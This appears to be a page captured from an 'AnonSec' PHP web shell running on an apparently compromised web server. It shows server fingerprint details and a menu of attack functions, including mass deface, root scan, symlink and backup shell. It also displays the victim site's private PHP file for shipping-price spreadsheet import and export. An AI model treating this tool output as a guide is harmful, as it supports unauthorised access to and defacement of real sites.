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/  Your IP : 172.18.0.1   [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/1701/cwd/html/app/model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/1701/cwd/html/app/model/TransportRepository.php
<?php

namespace Promoteus;

use Nette\Application\Responses\FileResponse;
use Nette\Http\FileUpload;
use PHPExcel;
use PHPExcel_Cell;
use PHPExcel_IOFactory;
use PHPExcel_Style_Fill;
use Tracy\Debugger;

/**
 * Table "transport"
 */
class TransportRepository extends Repository
{
    protected $tableName = 'transport';

    /**
     * @param $values
     * @return bool|int|\Nette\Database\Table\ActiveRow|void
     * @throws \PHPExcel_Exception
     * @throws \PHPExcel_Reader_Exception
     */
    public function insert($values)
    {
        if ($values['file'] ?? false) {
            /** @var FileUpload $file */
            $file = $values['file'];
            unset($values['file']);
            //pokud byl nahrán soubor porběhne zpracování.
            if ($file->getName()) {
                $this->zonepriceImport($file);
            }
        }
        return parent::insert($values);
    }

    /**
     * @param $transportId
     * @param $values
     * @return mixed|\Nette\Database\Table\ActiveRow|void
     * @throws RepositoryException
     * @throws \PHPExcel_Exception
     * @throws \PHPExcel_Reader_Exception
     */
    public function update($transportId, $values)
    {
        if ($values['file'] ?? false) {
            /** @var FileUpload $file */
            $file = $values['file'];
            unset($values['file']);
            //pokud byl nahrán soubor porběhne zpracování.
            if ($file->getName()) {
                $this->zonepriceImport($file);
            }
        }
        return parent::update($transportId, $values);
    }

    /**
     * @param int $id
     * @return FileResponse
     * @throws \PHPExcel_Exception
     * @throws \PHPExcel_Reader_Exception
     * @throws \PHPExcel_Writer_Exception
     * @throws \Nette\Application\BadRequestException
     */
    public function export(int $id)
    {
        /** @var TransportZoneRepository $transportZoneRepository */
        $transportZoneRepository = $this->getService('transportZoneRepository');
        $transportZone = $transportZoneRepository->findBy(['transport_id=?' => $id]);

        /* header("Content-Type: application/vnd.ms-excel");
         header("Content-Disposition: attachment; filename=export.xlsx");*/

        $document = new PHPExcel();
        $document->setActiveSheetIndex(0);

        $document->getActiveSheet()->getColumnDimension("A")->setAutoSize(true);

        $document->getActiveSheet()->setCellValue('A2', 'Váha (kg)');
        $letters = range('A', 'Z');
        $kilos = range(1, 1000);
        $zonew_weight = array();
        $x = 1;
        foreach ($transportZone as $row) {
            $zonew_weight[$row->id] = array();

            /** @var LinkTransportZoneCountry $linkTransportZoneCountry */
            $linkTransportZoneCountry = $this->getService('linkTransportZoneCountry');
            $country_list = $linkTransportZoneCountry->findBy(['transportzone_id=?' => $row->id]);
            $country_string = "";
            foreach ($country_list as $country_link) {
                /** @var CountryRepository $countryRepository */
                $countryRepository = $this->getService('countryRepository');
                $country = $countryRepository->getBy(['id=?' => $country_link->country_id]);
                $country_string .= $country->name . ", ";
            }

            $document->getActiveSheet()->setCellValue($letters[$x] . '1', '' . $row->id);
            $document->getActiveSheet()->setCellValue($letters[$x] . '2', '' . $row->name . "\n(" . $country_string . ")");

            $document->getActiveSheet()->getStyle($letters[$x] . '2')->applyFromArray(
                [
                    'fill' => [
                        'type' => PHPExcel_Style_Fill::FILL_SOLID,
                        'color' => ['rgb' => 'ce5606']
                    ]
                ]
            );

            $document->getActiveSheet()->getColumnDimension($letters[$x])->setWidth(15);
            $document->getActiveSheet()->getStyle($letters[$x] . '2')->getAlignment()->setWrapText(true);
            $x++;

            /** @var TransportZoneWeightRepository $transportZoneWeightRepository */
            $transportZoneWeightRepository = $this->getService('transportZoneWeightRepository');
            $exist = $transportZoneWeightRepository->findBy(['zone_id=?' => $row->id]);
            foreach (range(1, 1000) as $w) {
                $zonew_weight[$row->id][$w] = 0;
            }
            foreach ($exist as $dbrow) {
                $zonew_weight[$row->id][$dbrow->weight] = $dbrow->price;
            }
        }
        $document->getActiveSheet()->getStyle('A1:X1')->getFont()->setBold(true);

        $x = 3;
        foreach ($kilos as $row) {
            $document->getActiveSheet()->setCellValue('A' . $x, '' . $row);
            $document->getActiveSheet()->getStyle('A' . $x)->applyFromArray(
                [
                    'fill' => [
                        'type' => PHPExcel_Style_Fill::FILL_SOLID,
                        'color' => ['rgb' => '0a6cc9']
                    ]
                ]
            );

            $y = 1;
            foreach ($transportZone as $rowzone) {
                $document->getActiveSheet()->setCellValue($letters[$y] . $x, '' . $zonew_weight[$rowzone->id][$row]);
                $y++;
            }
            $x++;
        }
        $document->getActiveSheet()->getStyle('A1:A1020')->getFont()->setBold(true);

        $document->getActiveSheet()->setTitle('import_dopravce-' . $id);
        $documentWriter = PHPExcel_IOFactory::createWriter($document, 'Excel2007');
        $documentWriter->save('files/import_dopravce-' . $id . '.xlsx');
        return new FileResponse('files/import_dopravce-' . $id . '.xlsx', 'import_dopravce-' . $id . '.xlsx', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
    }

    /**
     * @param $file
     * @throws \PHPExcel_Exception
     * @throws \PHPExcel_Reader_Exception
     */
    public function zonepriceImport($file)
    {
        /** @var \PHPExcel_Reader_Excel2007 $document */
        $document = PHPExcel_IOFactory::createReader('Excel2007');

        $document->setReadDataOnly(true);

        $objPHPExcel = $document->load($file);
        $objWorksheet = $objPHPExcel->getActiveSheet();

        $highestRow = $objWorksheet->getHighestRow();
        $highestColumn = $objWorksheet->getHighestColumn();
        //$highestColumnIndex = PHPExcel_Cell::columnIndexFromString($highestColumn);

        $letters = range('A', 'Z');

        $import_data = [];

        for ($col = 1; $col <= array_search($highestColumn, $letters); $col++) {
            $id_zone = $objWorksheet->getCell($letters[$col] . '1')->getValue();
            if (!empty($id_zone)) {
                $import_data[$col] = ['id_zone' => $id_zone, 'pricetable' => []];
            }
        }

        //začínající řádek
        for ($row = 3; $row <= $highestRow; $row++) {
            $col = 1;
            $kilo = $objWorksheet->getCell('A' . $row)->getValue();
            if (!empty($kilo)) {
                for ($col; $col <= array_search($highestColumn, $letters); $col++) {
                    $price = $objWorksheet->getCell($letters[$col] . '' . $row)->getValue();
                    if (!empty($price)) {
                        $import_data[$col]['pricetable'][$kilo] = ['weight' => $kilo, 'price' => $price];
                    }
                }
            }
        }

        //TODO: bylo by fajn doladit pak vyjímky kdby byl nějaký formát dat rozsypaný.

        //TODO: mame pole ktere obsahuje zony a tabulky z cenama za kailo, nyníje potřeba provést jejich update v DB potažmo vytvoření v DB.
        /*
        array(2) ▼ {
           id_zone => 3.0
           pricetable => array(1000) ▼ {
              1 => array(2) ▼ {
                 weight => 1.0
                 price => 2.0
              }
              2 => array(2) ▼ {
                 weight => 2.0
         */

        foreach ($import_data as $zone) {
            $zone_id = $zone['id_zone'];
            foreach ($zone['pricetable'] as $pricerow) {
                $weight = $pricerow['weight'];
                $price = $pricerow['price'];

                //zkusit zjistit zda v zone existuje daná váha
                $exist = $this->getService('transportZoneWeightRepository')->getBy(['weight=?' => $weight, 'zone_id=?' => $zone_id]);

                if ($exist) {
                    if ($exist->price != $price) {
                        $this->getService('transportZoneWeightRepository')->update($exist->id, ['price' => $price]);
                    }
                } else {
                    $this->getService('transportZoneWeightRepository')->insert(['weight' => $weight, 'zone_id' => $zone_id, 'price' => $price]);
                }
            }
        }

    }

    public function getAllTransports($lang)
    {
        return $this->db->table("transport")->select("id,name_" . $lang)->fetchAll();
    }

    /**
     * @param $country_id
     * @return array|\Nette\Database\IRow[]|\Nette\Database\ResultSet
     */
    function getTransportsForCountry($country_id)
    {
        $query = "SELECT transport.* 
                    FROM transport
                    join transport_zone on transport_zone.transport_id = transport.id
                    join link_transportzone_country on link_transportzone_country.transportzone_id = transport_zone.id 
                    WHERE link_transportzone_country.country_id = ?";
        return $this->db->query($query, $country_id)->fetchAll();
    }

    /**
     * @param $country_id
     * @return array|\Nette\Database\IRow[]|\Nette\Database\ResultSet
     */
    function getTransportIdsForCountry($country_id)
    {
        $query = "SELECT transport.id
                    FROM transport
                    join transport_zone on transport_zone.transport_id = transport.id
                    join link_transportzone_country on link_transportzone_country.transportzone_id = transport_zone.id 
                    WHERE link_transportzone_country.country_id = ?";
        return $this->db->query($query, $country_id)->fetchAll();
    }
    function delete($id)
    {
        /** @var TransportZoneRepository $zoneRepository */
        $zoneRepository = $this->getService('transportZoneRepository');
        $zoneRepository->findBy(['transport_id' => $id])->delete();
        return parent::delete($id); // TODO: Change the autogenerated stub
    }
}

Anon7 - 2022
AnonSec Team